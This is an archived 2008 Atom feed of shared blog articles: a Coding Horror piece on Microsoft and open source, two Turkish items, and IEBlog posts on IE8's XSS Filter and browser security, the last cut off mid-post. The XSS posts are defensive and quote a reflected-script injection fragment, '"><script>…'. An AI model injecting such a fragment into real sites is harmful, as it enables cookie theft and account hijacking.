<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/atom10full.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/itemcontent.css" type="text/css" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:gr="http://www.google.com/schemas/reader/atom/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><!--
Content-type: Preventing XSRF in IE.

--><generator uri="http://www.google.com/reader">Google Reader</generator><id>tag:google.com,2005:reader/user/06794903814037867830/state/com.google/broadcast</id><title type="text">Ferruh Mavituna - Shared Articles</title><gr:continuation>CLj9vqn6kZQC</gr:continuation><author><name>fmavituna</name></author><updated>2008-07-04T08:04:33Z</updated><link rel="self" href="http://feeds.feedburner.com/FM-Newspaper" type="application/atom+xml" /><entry gr:crawl-timestamp-msec="1215158673323"><id gr:original-id="http://www.codinghorror.com/blog/archives/001144.html">tag:google.com,2005:reader/item/5dcf670408aa5a1b</id><title type="html">Why Can't Microsoft Ship Open Source Software?</title><published>2008-07-03T07:59:59Z</published><updated>2008-07-03T07:59:59Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/326477742/001144.html" type="text/html" /><summary xml:base="http://www.codinghorror.com/blog/" type="html">&lt;p&gt;
In &lt;a href="http://ryepup.unwashedmeme.com/blog/2007/03/27/codeplex-wastes-six-months-reinventing-wheels/"&gt;Codeplex wastes six months reinventing wheels&lt;/a&gt;, Ryan Davis has a bone to pick with Microsoft:
&lt;p&gt;
&lt;blockquote&gt;
I saw an announcement [in March, 2007] that CodePlex, Microsoft's version of Sourceforge, has &lt;a href="http://blogs.msdn.com/codeplex/archive/2007/03/26/announcing-the-codeplex-source-control-client.aspx"&gt;released a source control client&lt;/a&gt;.
&lt;p&gt;
This &lt;i&gt;infuriates&lt;/i&gt; me. This cool thing they spent six months (six!) writing is called &lt;a href="http://subversion.tigris.org/"&gt;Subversion&lt;/a&gt;, and it had a 1.0.0 release [in early 2004]. Subversion had its first beta in late 2003, so the Codeplex folks are waaay behind the state of the art on this one.
&lt;p&gt;
As a whole, I think the state of software is abysmal. The only way to make it better is to &lt;b&gt;stop writing new code&lt;/b&gt;. New code is always full of bugs, and its an expensive path to get from blank screen to stable program. We need to treat programming more like math, we need to build on our results. Development tools is a special market, as our needs are all very similar, and when we need a tool, we have the skills to make it. 
&lt;/p&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;
It's a great rant -- you should &lt;a href="http://ryepup.unwashedmeme.com/blog/2007/03/27/codeplex-wastes-six-months-reinventing-wheels/"&gt;read the whole thing&lt;/a&gt; -- but I'm not sure I entirely agree.
&lt;p&gt;
While I do empathize with the overall sentiment that Ryan is expressing here, I also found myself nodding along with Addy Santo, who left this comment:
&lt;p&gt;
&lt;blockquote&gt;
Author seems to think that all software development is done in basements and dorms. The reality is that software is an industry like any other - and follows the same simple rules of economics. How many brands of sports shoes are there? How many different MP3 players? Flavors of toothpaste ? If you can walk down the soft drink isle and not be "infuriated" by Vanilla Cherry Diet Doctor Pepper then you might just be a hypocrite.
&lt;/blockquote&gt;
&lt;p&gt;
So if you think Microsoft's particular flavor of source control is redundant, &lt;b&gt;you'll &lt;i&gt;really&lt;/i&gt; hate Diet Cherry Chocolate Dr. Pepper&lt;/b&gt;.
&lt;p&gt;
&lt;img alt="Diet Cherry Chocolate Dr. Pepper" src="http://www.codinghorror.com/blog/images/diet-cherry-chocolate-dr-pepper.jpg" width="147" height="400" border="0"&gt;
&lt;p&gt;
(I am now required by law to link Tay Zonday's &lt;a href="http://www.youtube.com/watch?v=2x2W12A8Qow"&gt;Cherry Chocolate Rain&lt;/a&gt; video. My apologies in advance. And if that makes no sense to you, &lt;a href="http://en.wikipedia.org/wiki/Chocolate_Rain"&gt;see here&lt;/a&gt;.)
&lt;p&gt;
Are there meaningful differences between Microsoft's Team Foundation flavor of version control and Subversion? The short answer is that there aren't -- &lt;b&gt;if all you're looking for is a carbonated beverage&lt;/b&gt;. If all you require is run of the mill, basic centralized source control duties, they're basically the same product. So why not go with the free one?
&lt;p&gt;
But Team Foundation is much more than just source control. Of course there are open source equivalents to much of the functionality offered in Team System, as Ryan is quick to point out.
&lt;p&gt;
&lt;blockquote&gt;
The Codeplex staff stated they needed to write their own client in order to integrate with the TFS server infrastructure. According to an MSDN article (&lt;a href="http://msdn.microsoft.com/msdnmag/issues/06/00/TeamSystem/default.aspx"&gt;Get All Your Devs In A Row With Visual Studio 2005 Team System&lt;/a&gt;), TFS seems to be a complicated tool to help manage your developers. Reading the description, TFS is an issue tracker, unit tester, continuous integration, source control system, and Visual Studio plugin. So, basically a combination of &lt;a href="http://trac.edgewall.org/"&gt;Trac&lt;/a&gt;, &lt;a href="http://www.nunit.org/"&gt;NUnit&lt;/a&gt;, &lt;a href="http://cruisecontrol.sourceforge.net."&gt;CruiseControl.NET&lt;/a&gt;, &lt;a href="http://subversion.tigris.org/"&gt;Subversion&lt;/a&gt;, and a Visual Studio plugin. Why not just write the Visual Studio plugin, and hook into the tools people are already using? All those tools have rich plugin-architectures that would probably support any sensible addition you'd want to make. 
&lt;/blockquote&gt;
&lt;p&gt;
The answer, of course, is that Microsoft does all that painful integration work for you -- at a price.
&lt;p&gt;
If you have the time to look closer, you'll find more flavorful differences between Subversion and TFS source control. Differences more akin to, say, Dr. Pepper and Mr. Pibb.
&lt;p&gt;
&lt;img alt="Mr. Pibb" src="http://www.codinghorror.com/blog/images/mr-pibb.jpg" width="234" height="406" border="0"&gt;
&lt;p&gt;
I'm not going to enumerate all the subtle and not-so-subtle differences between the two here; picking a fight between two modern centralized version control systems is not my goal. They're both great. Choose whatever modern source control system you prefer, and &lt;a href="http://www.ericsink.com/scm/source_control.html"&gt;take the time to learn it in depth&lt;/a&gt;. Source control is the &lt;a href="http://www.codinghorror.com/blog/archives/000660.html"&gt;bedrock of modern software engineering&lt;/a&gt;, and I've found precious few developers that truly understand how it works. All that time we were going to spend arguing whether your source control system can beat up my source control system? I've got a radical idea: let's spend it on &lt;i&gt;learning the damn stuff&lt;/i&gt; instead.
&lt;p&gt;
Still, there is a much deeper, more endemic problem here that Ryan alludes to, and it deserves to be addressed.
&lt;p&gt;
One of Microsoft's biggest challenges in the last few years has been that &lt;b&gt;its competitors are free to ship what are, by now, fairly mature open source components as parts of their operating systems.&lt;/b&gt; When was the last time you ever saw any open source &lt;i&gt;anything&lt;/i&gt; shipping in a Microsoft product? On some deep, dark corporate level, Microsoft must feel compelled to rewrite everything to completely own the source code. Sometimes -- a more cynical person might say "often" -- this results in poor quality copies instead of actual innovation, such as Microsoft's &lt;a href="http://blogs.msdn.com/nnaderi/archive/2007/02/01/mstest-vs-nunit-frameworks.aspx"&gt;much-maligned MSTest unit test framework&lt;/a&gt;. It's a clone of &lt;a href="http://www.nunit.org/index.php"&gt;NUnit&lt;/a&gt; with all new bugs and no new features, but it &lt;i&gt;can&lt;/i&gt; be included in the box with Visual Studio and integrated into the product. It's a one step forward, two steps back sort of affair.
&lt;p&gt;
Everybody I know -- including our own Stack Overflow team -- who has tried to use the MSTest flavor of unit tests has &lt;b&gt;eventually thrown up their arms and gone back to NUnit&lt;/b&gt;. It's just too painful; the commercial clone lacks the simplicity, power, and community support of the original open source version. There's simply no &lt;i&gt;reason&lt;/i&gt; for MSTest to exist except to satisfy some bizarre corporate directive that Microsoft never ship open source code in their products. Furthermore, this blind spot hampers obvious integration points. Microsoft could build first-class integration points for NUnit into Visual Studio. But they haven't, and probably never will, because so much effort is poured into maintaining the second-rate MSTest clone.
&lt;p&gt;
In fact, the more I think about this, the more I think Microsoft's utter inability to integrate open source software &lt;i&gt;of any kind whatsoever&lt;/i&gt; into their products &lt;b&gt;might just end up killing them&lt;/b&gt;. It's a huge problem, and it's only going to get worse over time. Open source seems to evolve according to a different power law than commercial software. If I worked in the upper echelons of Microsoft, I'd be looking at the graph of open source software growth from the years of 1999 to 2008 and crapping my pants right about now.
&lt;p&gt;
It's a shame, because the best way to "beat" open source is to join 'em -- to integrate with and ship open source components as a part of your product. Unfortunately, that's the one route that Microsoft seems hell bent on never following.
&lt;p&gt;
&lt;font color="red"&gt;Update:&lt;/font&gt; For background, do read Jon Galloway's explanation: &lt;a href="http://weblogs.asp.net/jgalloway/archive/2007/05/02/why-microsoft-can-t-ship-open-source-code.aspx"&gt;Why Microsoft Can't Ship Open Source Code&lt;/a&gt;.
&lt;p&gt;
&lt;table&gt;&lt;tr&gt;&lt;td&gt;
[advertisement] Complimentary paperback book on lightweight peer code review.  10 essays from industry experts.  Free shipping.  &lt;a href="http://smartbearsoftware.com/codecollab-code-review-book.php?howheard=Coding+Horror+Blog+2"&gt;Order &lt;i&gt;Best Kept Secrets of Peer Code Review&lt;/i&gt;&lt;/a&gt;.
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/326477742" height="1" width="1"/&gt;</summary><author><name>Jeff Atwood</name></author><source gr:stream-id="feed/http://feeds.feedburner.com/codinghorror/"><id>tag:google.com,2005:reader/feed/http://feeds.feedburner.com/codinghorror/</id><title type="html">Coding Horror</title><link rel="alternate" href="http://www.codinghorror.com/blog/" type="text/html" /></source><feedburner:origLink>http://www.codinghorror.com/blog/archives/001144.html</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1215090122742"><id gr:original-id="71674@http://www.bildirgec.org/">tag:google.com,2005:reader/item/2fb1e1f0ae50e173</id><category term="telif hakkı" /><category term="google" /><category term="blog" /><category term="mp3" /><category term="richard watson" /><category term="ross dawson" /><category term="pdf" /><category term="internet" /><category term="pc" /><category term="avusturya" /><category term="extinction" /><category term="timeline" /><title type="html">Telif hakları, Google ve bloglar yok olacak</title><published>2008-07-03T09:26:00Z</published><updated>2008-07-03T09:26:00Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/325778327/telif-haklari-google-ve-bloglar" type="text/html" /><summary xml:base="http://www.bildirgec.org/" type="html">&lt;div&gt;&lt;img src="http://www.bildirgec.org/imaj/empi4/extinction-timeline.jpg" alt="önümüzdeki yıllarda yok olacak hizmetleri gösteren tablo" border="0"&gt;&lt;br&gt;önümüzdeki yıllarda yok olacak hizmetleri gösteren tablo&lt;/div&gt;&lt;br&gt;&lt;a href="http://maps.google.com/maps?hl=tr&amp;amp;q=avusturya&amp;amp;um=1&amp;amp;ie=UTF-8&amp;amp;sa=X&amp;amp;oi=geocode_result&amp;amp;resnum=1&amp;amp;ct=image"&gt;Avusturya&lt;/a&gt; asıllı bilim adamları &lt;a href="http://en.wikipedia.org/wiki/Richard_Watson"&gt;Richard Watson&lt;/a&gt; ve &lt;a href="http://rossdawson.com/"&gt;Ross Dawson&lt;/a&gt; bir araştırma yaparak 2050 yılına kadar yok olması muhtemel hizmetleri &lt;a href="http://www.rossdawsonblog.com/weblog/archives/2007/10/extinction_time.html"&gt;açıkladı&lt;/a&gt;. bunlar içinde en dikkat çekeni ise &lt;strong&gt;2020 yılında telif haklarının yok olacağı&lt;/strong&gt;. yani &lt;strong&gt;internette mp3 indirmek vs. yasal olacak&lt;/strong&gt;. bir diğeri ise 2049 yılında &lt;strong&gt;&lt;a href="http://google.com"&gt;google&lt;/a&gt;'ın yok olacağı&lt;/strong&gt;. 2012'de &lt;strong&gt;dial-up internet erşiminin&lt;/strong&gt;, 2022'de &lt;strong&gt;&lt;a href="http://www.bildirgec.org/etiket/blog"&gt;blog&lt;/a&gt;ların&lt;/strong&gt;, 2024'te &lt;strong&gt;masaüstü pc'lerin&lt;/strong&gt;, 2026'da &lt;strong&gt;fm radyoların&lt;/strong&gt; ve 2036'da &lt;strong&gt;petrolle çalışan arabaların yok olacağı&lt;/strong&gt;nı ileri süren liste uzayıp gidiyor. &lt;a href="http://www.adobe.com/products/acrobat/adobepdf.html"&gt;pdf&lt;/a&gt; formatındaki listeye gözatmak için &lt;a href="http://www.rossdawsonblog.com/extinction_timeline.pdf"&gt;buraya&lt;/a&gt; tıklayabilirsiniz.&lt;p&gt;&lt;strong&gt;ilgili yazılar&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.bildirgec.org/yazi/bedava-yazilim"&gt;Bedava Yazılım&lt;/a&gt; (0)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bildirgec.org/yazi/blog-iceriginizi-calanlari-afise-etmek"&gt;Blog içeriğinizi çalanları AFİŞE etmek ister mi...&lt;/a&gt; (0)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bildirgec.org/yazi/100-tane-alternatif-arama-motoru"&gt;100 tane alternatif arama motoru&lt;/a&gt; (4)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.bildirgec.org/yazi/shiftspace-yeni-nesil-sosyal-katman"&gt;ShiftSpace - Yeni Nesil Sosyal Katman&lt;/a&gt; (5)&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p&gt;bu yazı &lt;a href="http://www.bildirgec.org/uye/empi4"&gt;empi4&lt;/a&gt; tarafından bildirgec.org adresli sitede yayımlanmak üzere yazılmıştır. kaynak gösterilmeksizin kopyalanamaz.&lt;/p&gt;&lt;p&gt;etiketler: &lt;a href="http://www.bildirgec.org/etiket/telif%20hakk%C4%B1" rel="tag"&gt;telif hakkı&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/google" rel="tag"&gt;google&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/blog" rel="tag"&gt;blog&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/mp3" rel="tag"&gt;mp3&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/richard%20watson" rel="tag"&gt;richard watson&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/ross%20dawson" rel="tag"&gt;ross dawson&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/pdf" rel="tag"&gt;pdf&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/internet" rel="tag"&gt;internet&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/pc" rel="tag"&gt;pc&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/avusturya" rel="tag"&gt;avusturya&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/extinction" rel="tag"&gt;extinction&lt;/a&gt;, &lt;a href="http://www.bildirgec.org/etiket/timeline" rel="tag"&gt;timeline&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://rss.bildirgec.org/~a/bildirgec?a=MEI8VG"&gt;&lt;img src="http://rss.bildirgec.org/~a/bildirgec?i=MEI8VG" border="0"&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;
&lt;a href="http://rss.bildirgec.org/~f/bildirgec?a=Sm9jyJ"&gt;&lt;img src="http://rss.bildirgec.org/~f/bildirgec?i=Sm9jyJ" border="0"&gt;&lt;/a&gt; &lt;a href="http://rss.bildirgec.org/~f/bildirgec?a=6VXzfJ"&gt;&lt;img src="http://rss.bildirgec.org/~f/bildirgec?i=6VXzfJ" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://rss.bildirgec.org/~r/bildirgec/~4/325646910" height="1" width="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/325778327" height="1" width="1"/&gt;</summary><author><name>empi4</name></author><source gr:stream-id="feed/http://www.bildirgec.org/rss.xml"><id>tag:google.com,2005:reader/feed/http://www.bildirgec.org/rss.xml</id><title type="html">bildirgec.org</title><link rel="alternate" href="http://www.bildirgec.org/" type="text/html" /></source><feedburner:origLink>http://rss.bildirgec.org/~r/bildirgec/~3/325646910/telif-haklari-google-ve-bloglar</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1215088979920"><id gr:original-id="">tag:google.com,2005:reader/item/a9a1f0923ee55c75</id><title type="html">Bilgisayar mühendisi ne iş yapar? (Bilişim güvenliği)</title><published>2008-07-03T07:30:43Z</published><updated>2008-07-03T07:30:43Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/325778328/" type="text/html" /><summary xml:base="http://blogsearch.google.com/blogsearch?hl=en&amp;as_drrb=q&amp;as_qdr=w&amp;ie=ISO-8859-1&amp;num=100&amp;q=%22ferruh+mavituna%22" type="html">Planlamalar yapıp, sistemin işleyiş süreçlerini tasarlar ve felaket senaryolarını test ederler. Risk yönetimini anlatan şöyle güzel bir doküman da var. Bilişim güvenliği alanında Türkçe kaynaklar: Huzeyfe Önal Blog &lt;b&gt;Ferruh Mavituna&lt;/b&gt; Blog &lt;b&gt;...&lt;/b&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/325778328" height="1" width="1"/&gt;</summary><author><name>bilal</name></author><source gr:stream-id="feed/http://blogsearch.google.com/blogsearch_feeds?q=%22ferruh+mavituna%22&amp;sourceid=navclient&amp;hl=en&amp;as_drrb=q&amp;as_qdr=w&amp;ie=utf-8&amp;num=100&amp;output=rss"><id>tag:google.com,2005:reader/feed/http://blogsearch.google.com/blogsearch_feeds?q=%22ferruh+mavituna%22&amp;sourceid=navclient&amp;hl=en&amp;as_drrb=q&amp;as_qdr=w&amp;ie=utf-8&amp;num=100&amp;output=rss</id><title type="html">&amp;quot;ferruh mavituna&amp;quot; - Google Blog Search</title><link rel="alternate" href="http://blogsearch.google.com/blogsearch?hl=en&amp;as_drrb=q&amp;as_qdr=w&amp;ie=ISO-8859-1&amp;num=100&amp;q=%22ferruh+mavituna%22" type="text/html" /></source><feedburner:origLink>http://www.bilalakcay.com/wordpress/?p=558</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1215067846762"><id gr:original-id="91d46819-8472-40ad-a661-2c78acb4018c:8679502">tag:google.com,2005:reader/item/acf97f42cf3a4663</id><category term="Security" scheme="http://blogs.msdn.com/ie/archive/tags/Security/default.aspx" /><title type="html">IE8 Security Part IV: The XSS Filter</title><published>2008-07-02T16:03:00Z</published><updated>2008-07-02T16:03:00Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/325563878/ie8-security-part-iv-the-xss-filter.aspx" type="text/html" /><summary xml:base="http://blogs.msdn.com/ie/default.aspx" type="html">&lt;p&gt;Hi, I'm David Ross, Security Software Engineer on the &lt;a href="http://blogs.technet.com/swi/"&gt;SWI&lt;/a&gt; team.  I’m proud to be doing this guest post on the IE blog today to show off some of the collaborative work SWI is doing with the Internet Explorer team.&lt;/p&gt;
&lt;p&gt;Today we are releasing some details on a new IE8 feature that makes &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting#Non-Persistent"&gt;reflected / “Type-1” Cross-Site Scripting (XSS)&lt;/a&gt; vulnerabilities much more difficult to exploit from within Internet Explorer 8. Type-1 XSS flaws represent a growing portion of overall reported vulnerabilities and are increasingly being exploited “for fun and profit.”&lt;/p&gt;
&lt;p&gt;The number of reported XSS flaws in popular web sites has skyrocketed recently – &lt;a href="http://cve.mitre.org/docs/vuln-trends/index.html#overall_trends"&gt;MITRE has reported&lt;/a&gt; that XSS vulnerabilities are now the most frequently reported class of vulnerability. More recently, sites such as &lt;a href="http://xssed.com/"&gt;XSSed.com&lt;/a&gt; have begun to collect and publish tens of thousands of Type-1 XSS vulnerabilities present in sites across the web.&lt;/p&gt;
&lt;p&gt;XSS vulnerabilities enable an attacker to control the relationship between a user and a web site or web application that they trust. Cross-site scripting can enable attacks such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cookie theft, including the theft of sessions cookies that can lead to account hijacking &lt;br&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;Monitoring keystrokes input to the victim web site / application&lt;br&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;Performing actions on the victim web site on behalf of the victim user. For example, an XSS attack on Windows Live Mail might enable an attacker to read and forward e-mail messages, set new calendar appointments, etc.&lt;i&gt;&lt;/i&gt; &lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;While many great tools exist for developers to mitigate XSS in their sites / applications, these tools do not satisfy the need for average users to protect themselves from XSS attacks as they browse the web.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;u&gt;&lt;br&gt;XSS Filter -- How it Works&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;The XSS Filter operates as an IE8 component with visibility into all requests / responses flowing through the browser. When the filter discovers likely XSS in a cross-site request, it identifies and neuters the attack if it is replayed in the server’s response. Users are not presented with questions they are unable to answer – IE simply blocks the malicious script from executing.&lt;/p&gt;
&lt;p&gt;With the new XSS Filter, IE8 Beta 2 users encountering a Type-1 XSS attack will see a notification like the following:&lt;/p&gt;
&lt;p&gt;&lt;img alt="IE8 XSS Attack Notification" src="http://ieblog.members.winisp.net/images/XSS.Notification.png"&gt;&lt;/p&gt;
&lt;p&gt;The page has been modified and the XSS attack is blocked. &lt;/p&gt;
&lt;p&gt;In this case the XSS Filter has identified a cross-site scripting attack in the URL.  It has neutered this attack as the identified script was replayed back into the response page.  In this way the filter is effective without modifying an initial request to the server or blocking an entire response.&lt;/p&gt;
&lt;p&gt;As you may imagine, there are a number of interesting and subtle scenarios that the filter must handle appropriately. Here are some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The filter must be effective even if the attack is adjusted to leverage artifacts of common web application frameworks.  Ex: Will an attack still be detected if certain characters in a request are dropped or translated when replayed in the response? &lt;br&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;In performing filtering our code must not introduce new attack scenarios that would not otherwise exist.  Ex: Imagine the filter can be forced to neuter a closing SCRIPT tag.  In that case, untrusted content on the page might then execute as script. &lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;And of course in addition to all of this we need to effectively counter all the &lt;a href="http://ha.ckers.org/xss.html"&gt;XSS attack vectors&lt;/a&gt; not already addressed by other &lt;a href="http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx"&gt;XSS-Focused Attack Surface Reduction&lt;/a&gt; measures.&lt;/p&gt;
&lt;p&gt;Compatibility is critical. This feature was developed with the understanding that if it were to “break the web,” we could not enable the feature by default. Or if we did, people would turn it off and get no benefit. We really want to provide as much value as possible to the maximum number of users.&lt;/p&gt;
&lt;p&gt;If Internet Explorer’s Application Compatibility Logging is enabled, all XSS Filter activity can be viewed using the &lt;a href="http://technet.microsoft.com/en-us/library/cc507852.aspx"&gt;Microsoft Application Compatibility Toolkit&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Web developers may wish to disable the filter for their content. They can do so by setting a HTTP header: &lt;br&gt;&lt;font face="Courier New"&gt;X-XSS-Protection: 0&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;Ultimately we have taken a very pragmatic approach – we choose to not to build the filter in such a way that we compromise site compatibility. Thus, the XSS Filter defends against the most common XSS attacks but it is not, and will never be, an XSS panacea.  This is similar to the pragmatic approach taken by &lt;a href="http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic6"&gt;ASP.Net request validation&lt;/a&gt;, although the XSS Filter is able to be more aggressive than the ASP.Net feature.&lt;/p&gt;
&lt;p&gt;Assuming negligible site compatibility and performance impact, the fact that our filter effectively blocks the common &lt;font face="Courier New"&gt;“&amp;gt;&amp;lt;script&amp;gt;…&lt;/font&gt; pattern we see most frequently in Type-1 XSS attacks is inherently a step forward. Pushing that further and blocking other common cases of reflected XSS where possible, as the XSS Filter does, is extra goodness.&lt;/p&gt;
&lt;p&gt;Caveats aside, it will be great to see the tens of thousands of publicly disclosed Type-1 XSS vulnerabilities indexed on sites like &lt;a href="http://xssed.com/"&gt;XSSed.com&lt;/a&gt; simply stop working in IE8. (Not to mention the &lt;a href="http://ddanchev.blogspot.com/2008/03/massive-iframe-seo-poisoning-attack.html"&gt;IFRAME SEO Poisoning&lt;/a&gt; attacks we protect against as well!)&lt;/p&gt;
&lt;p&gt;I will go into more details on how the filter works, its history, its limitations, and some lessons learned during the development process over &lt;a href="http://blogs.msdn.com/dross/"&gt;on my blog&lt;/a&gt; in the coming weeks.&lt;/p&gt;
&lt;p&gt;David Ross &lt;br&gt;Security Software Engineer&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8679502" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/FM-Newspaper/~4/325563878" height="1" width="1"/&gt;</summary><author><name>ieblog</name></author><source gr:stream-id="feed/http://blogs.msdn.com/ie/rss.xml"><id>tag:google.com,2005:reader/feed/http://blogs.msdn.com/ie/rss.xml</id><title type="html">IEBlog</title><link rel="alternate" href="http://blogs.msdn.com/ie/default.aspx" type="text/html" /></source><feedburner:origLink>http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx</feedburner:origLink></entry><entry gr:crawl-timestamp-msec="1215067843169"><id gr:original-id="91d46819-8472-40ad-a661-2c78acb4018c:8679480">tag:google.com,2005:reader/item/678cb14593652793</id><category term="Security" scheme="http://blogs.msdn.com/ie/archive/tags/Security/default.aspx" /><title type="html">IE8 Security Part V: Comprehensive Protection</title><published>2008-07-02T16:05:00Z</published><updated>2008-07-02T16:05:00Z</updated><link rel="alternate" href="http://feeds.feedburner.com/~r/FM-Newspaper/~3/325563879/ie8-security-part-v-comprehensive-protection.aspx" type="text/html" /><summary xml:base="http://blogs.msdn.com/ie/default.aspx" type="html">&lt;p&gt;Hi! I’m Eric Lawrence, Security Program Manager for Internet Explorer. Last Tuesday, Dean wrote about our principles for delivering a &lt;a href="http://blogs.msdn.com/ie/archive/2008/06/24/ie8-and-trustworthy-browsing.aspx"&gt;trustworthy browser&lt;/a&gt;; today, I’m excited to share with you details on the significant investments we’ve made in Security for Internet Explorer 8. As you might guess from the length of this post, we’ve done a lot of security work for this release. As an end-user, simply upgrade to IE8 to benefit from these security improvements. As a domain administrator, you can use Group Policy and the IEAK to set secure defaults for your network. As web-developer, you can build upon some of these new features to help protect your users and web applications.&lt;/p&gt;
&lt;p&gt;As we were planning Internet Explorer 8, our security teams looked closely at the common attacks in the wild and the trends that suggest where attackers will be focusing their attention next. While we were building new Security features, we also worked hard to ensure that powerful new features (like Activities and Web Slices) minimize attack surface and don’t provide attackers with new targets. Out of our planning work, we classified threats into three major categories: Web Application Vulnerabilities, Browser &amp;amp; Add-on Vulnerabilities, and Social Engineering Threats. For each class of threat, we developed a set of layered mitigations to provide defense-in-depth protection against exploits.&lt;/p&gt;
&lt;h2&gt;Web Application Defense&lt;/h2&gt;
&lt;h3&gt;Cross-Site-Scripting Defenses&lt;/h3&gt;
&lt;p&gt;Over the past few years, &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;cross-site scripting (XSS)&lt;/a&gt; attacks have surpassed buffer overflows to become the &lt;a href="http://cve.mitre.org/docs/vuln-trends/index.html#overall_trends"&gt;most common&lt;/a&gt; class of software vulnerability. XSS attacks exploit vulnerabilities in web applications in order to steal cookies or other data, deface pages, steal credentials, or launch more exotic attacks.&lt;/p&gt;
&lt;p&gt;IE8 helps to mitigate the threat of XSS attacks by blocking the most common form of XSS attack (called “reflection” attacks). The IE8 XSS Filter is a heuristic-based mitigation that sanitizes injected scripts, preventing execution. Learn more about this defense in David’s blog post: &lt;a href="http://blogs.msdn.com/ie/archive/2008/07/01/ie8-security-part-iv-the-xss-filter.aspx"&gt;IE8 Security Part IV - The XSS Filter.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;XSS Filter provides good protection against exploits, but because this feature is only available in IE8, it’s important that web developers provide additional defense-in-depth and work to eliminate XSS vulnerabilities in their sites. Preventing XSS on the server-side is much easier that catching it at the browser; simply &lt;a href="http://www.cgisecurity.com/articles/xss-faq.shtml#vendor"&gt;never trust user input&lt;/a&gt;! Most web platform technologies offer one or more sanitization technologies-- developers using ASP.NET should consider using the &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&amp;amp;displaylang=en"&gt;Microsoft Anti-Cross Site Scripting Library&lt;/a&gt;. To further mitigate the threat of XSS cookie theft, sensitive cookies (especially those used for authentication) should be protected with the &lt;a href="http://blogs.msdn.com/ie/archive/2007/08/29/update-to-internet-explorer-s-cookie-jar.aspx"&gt;HttpOnly attribute&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Safer Mashups&lt;/h3&gt;
&lt;p&gt;While the XSS Filter helps mitigate reflected scripting attacks when navigating between two servers, in the Web 2.0 world, web applications are increasingly built using &lt;a href="http://en.wikipedia.org/wiki/Mashup_(web_application_hybrid)"&gt;clientside mashup&lt;/a&gt; techniques. Many mashups are built unsafely, relying &lt;a href="http://blogs.msdn.com/jscript/archive/2007/11/29/ecmascript-mashups-and-security.aspx"&gt;SCRIPT SRC&lt;/a&gt; techniques that simply merge scripting from a third-party directly into the mashup page, providing the third-party full access to the DOM and non-HttpOnly cookies.&lt;/p&gt;
